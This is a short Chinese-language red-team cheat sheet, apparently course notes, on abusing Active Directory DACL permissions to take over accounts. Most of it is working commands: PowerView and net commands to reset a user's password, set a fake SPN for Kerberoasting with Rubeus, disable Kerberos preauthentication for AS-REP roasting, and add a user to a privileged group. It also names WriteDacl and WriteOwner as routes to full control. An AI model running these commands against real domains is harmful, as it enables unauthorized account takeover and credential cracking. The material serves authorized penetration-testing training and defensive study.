DACL的利用
在域内,也许会有一些主体对于其他更搞特权的帐号具有ACLs,这会导致帐号接管。举个例子,support组可以修改域管理员的密码
当用户A可以重置用户B的密码时
net user jadams Passw0rd /domain
PowerView中
Set-DomainUserPassword -identity jadams -AccountPassword (ConvertTo-SecureString 'Passw0rd' -AsPlainText -Force) -Verbose
OPSEC:这是个很不好的OPSEC
当用户A对用户B具有GenericWrite权限
我们还可以给用户设置SPN并进行Kerberoasting攻击,之后离线破解Krb5TGS哈希
PowerView中
Set-DomainObject -Identity jadams -Set @{serviceprincipalname="srv-1/evil"}
execute-assembly rubeus.exe kerberoast /user:jadams /format:hashcat /nowrap
Set-DomainObject -Identity jadams -Clear ServicePrincipalName
类似于刚才的思想,我们可以禁用用户账户的预认证然后对其进行ASREPRoasting攻击
我们需要修改目标用户账户的UAC值以禁用预认证
Get-NetUser -Identity jadams | ConvertFrom-UACValue
Set-DomainObject -Identity jadams -XOR @{UserAccountControl=4194304}
Get-NetUser -Identity jadams | ConvertFrom-UACValue
rubeus.exe asreproast /user:jadams /format:hashcat /nowrap
GenericWrite权限也可以用此方法进行利用
恢复预认证
Set-DomainObject -Identity jadams -XOR @{UserAccountControl=4194304}
Get-DomainUser -Identity jadams | ConvertFrom-UACValue
如果我们对于一个组具有ACL,我们可以添加或删除组成员
net group "Oracle Admins" bfarmer /add /domain
还有其他有意思的 DACL 可能导致类似的利用。 例如,我们可以利用 WriteDacl从而将 GenericAll权限 授予任何主体。 我们还可以利用 WriteOwner从而将对象的所有权更改为任何主体,然后该主体将在其上继承 GenericAll。